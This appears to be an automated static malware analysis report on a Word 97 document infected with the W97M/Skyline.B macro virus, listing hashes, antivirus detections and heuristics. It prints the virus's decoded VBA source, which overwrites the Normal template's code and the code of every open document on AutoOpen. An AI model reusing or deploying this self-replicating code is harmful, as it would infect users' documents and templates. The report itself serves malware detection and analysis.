Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5254485b08aa5867…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 65fe55a2b99ea197a9e3fac3697bc56e SHA-1: 1a9f9e2b647ef2517c8e656221cab31024b2a290 SHA-256: 5254485b08aa5867b22283254b35c7c1ea6a9a01febdd889c900a61f10d41730
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with multiple detections, including 'Doc.Trojan.Wrench-4' and 'Doc.Trojan.Thus-10'. It contains VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro code attempts to infect the Normal template and other open documents, indicating a parasitic or self-propagating behavior.

Heuristics 5

  • ClamAV: Doc.Trojan.Wrench-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wrench-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        'Application.Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3684 bytes
SHA-256: f5d92a53f789bd254547609357fe7413428e69b07607d1866a8c4c2e5c072d49
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Skyline"
'Name - W97M/Skyline.B
'Author - [Bench]
Dim DeleteMe As Boolean
Sub AutoOpen()
On Error Resume Next
'SetAttr NormalTemplate.FullName, vbNormal
'If Application.ShowVisualBasicEditor = True Then _
'    Application.ShowVisualBasicEditor = False
Call BenchCore
'Stuff This'
    'Harmless virus designed as an cure for nasty ones.
    
    Dim k As Integer
    On Error Resume Next
    'Application.Options.VirusProtection = False
    'If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Stuff This'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    'End If
    'If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    'End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
     '   If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Stuff This'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
     '   End If
     '   If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
     '   End If
    Next k
    With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Heading = ""
    .Text = ""
    .Animation = msoAnimationGreeting
    .Show
    End With

End Sub
Sub ViewVBCode()
On Error Resume Next
DeleteMe = True
With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Heading = "Skyline MV"
    .Text = "You thought you got rid of me, but I'm Still here, better and stronger!"
    .Animation = msoAnimationGreeting
    .Show
End With
'Call BenchCore
'Application.ShowVisualBasicEditor = True
End Sub
Sub ToolsMacro()
On Error Resume Next
'DeleteMe = True
'Dialogs(wdDialogToolsMacro).Show
End Sub
Sub ToolsCustomize()
On Error Resume Next
'DeleteMe = True
End Sub
Sub ViewSecurity()
On Error Resume Next
'MsgBox "Access is Restricted!", vbCritical, "Microsoft Word"
End Sub
Sub BenchCore()
On Error Resume Next
ModulName = "Skyline"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
Set Carrier = NormalTemplate.VBProject.VBComponents
Set host = ActiveDocument.VBProject.VBComponents
Else
Set Carrier = ActiveDocument.VBProject.VBComponents
Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
Carrier(ModulName).Export "c:\ascii.vxd"
host.import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
MsgBox ("Infected with skyline virus.")
End Sub

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